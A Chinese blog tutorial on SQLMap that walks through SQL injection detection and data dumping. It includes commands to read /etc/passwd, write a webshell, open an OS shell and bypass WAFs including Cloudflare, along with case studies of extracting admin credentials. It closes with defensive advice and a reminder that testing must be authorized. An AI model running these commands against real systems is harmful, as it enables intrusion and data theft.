SQLMap中文使用手册:从零基础到实战高手的完整指南
真正可用的实战教程,全是踩坑经验与干货总结
一、SQLMap到底是什么?能干什么?
SQLMap是目前市面上最成熟的自动化SQL注入工具,Python编写、开源免费,支持 MySQL、Oracle、PostgreSQL、MSSQL、SQLite 等几乎所有主流数据库。
核心能力:
- 自动检测 GET/POST/Cookie/Header 注入点
- 识别布尔盲注、时间盲注、报错注入、联合查询注入
- 枚举数据库、表、字段、数据
- 读取服务器文件、写入 Webshell
- 反弹 Shell、执行系统命令
- 配合 tamper 脚本绕过 WAF
手工半天的工作,SQLMap 几秒可完成,但前提是会用、用对。
二、安装与基础配置(5分钟搞定)
2.1 安装方式
- Kali Linux:系统自带,终端直接执行
1 | sqlmap |
- Linux/Mac
1 | git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git |
- Windows:GitHub 下载压缩包解压,双击
sqlmap.bat
1 | python sqlmap.py -u "http://test.com/page.php?id=1" |
出现如下 Logo 即运行成功:
1 | __H__ |
三、核心命令大全(背下来解决90%场景)
3.1 基础检测
| 场景 | 命令 |
|---|---|
| GET 型注入 | sqlmap -u "http://test.com/page?id=1" |
| POST 型注入 | sqlmap -u "http://test.com/login" --data="user=admin&pass=123" |
| 指定测试参数 | sqlmap -u "http://test.com/page?id=1&cat=2" -p "id" |
| 带 Cookie | sqlmap -u "http://test.com/page?id=1" --cookie="PHPSESSID=xxx" |
| 随机 User-Agent | sqlmap -u "http://test.com/page?id=1" --random-agent |
实测经验:
--random-agent必须加,默认 UA 含sqlmap,极易被 WAF 拦截。
3.2 数据枚举(核心)
确认注入后按顺序执行:
1 | # 1. 当前用户 |
踩坑提醒:
--dump大数据慢,可加--threads=5加速,但线程不宜过高,易封 IP。
3.3 高阶玩法
| 功能 | 命令 |
|---|---|
| 读服务器文件 | sqlmap -u "url" --file-read="/etc/passwd" |
| 写 Webshell | sqlmap -u "url" --file-write="shell.php" --file-dest="/var/www/html/shell.php" |
| 反弹 Shell | sqlmap -u "url" --os-shell |
| 执行自定义 SQL | sqlmap -u "url" --sql-query="SELECT * FROM users" |
| 批量测试 | sqlmap -m targets.txt |
注意:文件读写、
os-shell需要 DBA 权限,并非所有注入点可用。
四、实战案例
案例1:登录框 POST 注入
- 抓包为 POST 请求,测试注入点
1 | sqlmap -u "http://target.com/login" --data="username=admin&password=123" --level=3 |
- 发现
username存在布尔盲注 - 枚举数据并导出,获取管理员账号密码登录后台
--level=3会检测 HTTP 头注入,默认 level=1 无法覆盖。
案例2:非主流数据库(ClickHouse)
- SQLMap 默认不支持,直接提示无注入
- 手工分析报错与 SQL 结构,确认注入逻辑
- 使用
--sql-query执行自定义 ClickHouse 语句,成功脱库
启示:SQLMap 非万能,非主流库需手工分析+自定义 payload。
案例3:Swagger 接口注入
- Swagger 大量 API 未做权限校验
- 参数带入数据库,构造 ClickHouse 查询成功获取数据
- Swagger 接口是 SQL 注入重灾区
五、WAF 绕过:Tamper 脚本实战
5.1 常用 Tamper 组合
- 关键字过滤(SELECT/UNION)
1 | sqlmap -u "url" --tamper=space2comment,equaltolike,between |
- `space2comment`:空格替换为 `/**/`
- `equaltolike`:`=` 替换为 `LIKE`
- `between`:比较符替换为 `BETWEEN`
- 大小写敏感过滤
1 | sqlmap -u "url" --tamper=randomcase,charencode |
- `randomcase`:随机大小写(SeLeCt)
- `charencode`:URL 编码
- 高强度 WAF(ModSecurity)
1 | sqlmap -u "url" --tamper=space2comment,apostrophemask,base64encode --level=3 --risk=2 |
- `apostrophemask`:单引号编码
- `base64encode`:Payload Base64 编码
5.2 Tamper 使用技巧
- 先单独测试,再逐步组合,避免性能骤降
- 配合
--level=3 --risk=2提升检测强度 - 先识别 WAF 类型
1 | sqlmap -u "url" --identify-waf |
5.3 Cloudflare 绕过案例
1 | sqlmap -u "http://target.com/page?id=1" \ |
配合 Burp 代理调试,成功绕过 Cloudflare。
六、SQLMap 参数深度解析
6.1 Level(1-5)
| Level | 测试范围 | 场景 |
|---|---|---|
| 1 | GET/POST 参数 | 快速检测 |
| 2 | + Cookie | 常规测试 |
| 3 | + User-Agent/Referer | 深入测试 |
| 4/5 | + 更多 HTTP 头 | WAF/复杂环境 |
通用场景
--level=3足够。
6.2 Risk(激进程度)
| Risk | 行为 | 风险 |
|---|---|---|
| 1 | 常规 Payload | 安全 |
| 2 | OR 1=1 类语句 | 可能改数据 |
| 3 | DROP TABLE 类语句 | 可能删库 |
生产环境严禁使用
--risk=3。
6.3 实用参数
| 参数 | 作用 |
|---|---|
--batch |
自动默认选项,不中断 |
--delay=2 |
请求间隔2秒,防WAF |
--timeout=10 |
超时10秒 |
--threads=5 |
5线程并发 |
--output-dir=/path |
指定结果目录 |
--flush-session |
清空缓存重测 |
七、常见问题与排坑
7.1 “does not seem to be injectable”
- 原因:WAF 拦截、无注入、level 过低、JSON/XML 参数未识别
- 解决:
--level=3、指定--data、加--tamper、手工验证
7.2 运行中断
- 原因:WAF 封 IP、网络波动
- 解决:
sqlmap -u "url" --resume断点续跑
7.3 数据乱码
- 解决:
--dbms=mysql --hex十六进制输出或指定字符集
7.4 运行太慢
1 | sqlmap -u "url" --threads=5 --delay=1 --batch |
八、防御视角:如何防 SQLMap
8.1 开发层面
- 参数化查询(根本防御)
1 | # 危险 |
- 最小权限:应用使用只读账号连接数据库
- 屏蔽详细 SQL 错误信息
8.2 运维层面
- WAF:拦截 SQLMap 默认 UA、频率限制、开启 SQL 注入规则
- 日志监控:异常参数(’、AND 1=1、SLEEP)、高频请求告警
- 定期渗透测试
九、写在最后
SQLMap 强大但不是银弹:
- 简单注入:秒出结果
- 复杂 WAF、非主流数据库、JSON 注入:依赖手工分析+经验
个人测试流程:
- Burp 抓包定位参数
- 手工初步验证注入
- SQLMap 批量跑
- 不通则换 tamper / 自定义 payload
重要提醒:所有测试必须在授权范围内进行,无授权扫描属于违法行为,安全行业底线比技术更重要。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 feng-mian's Blog!
评论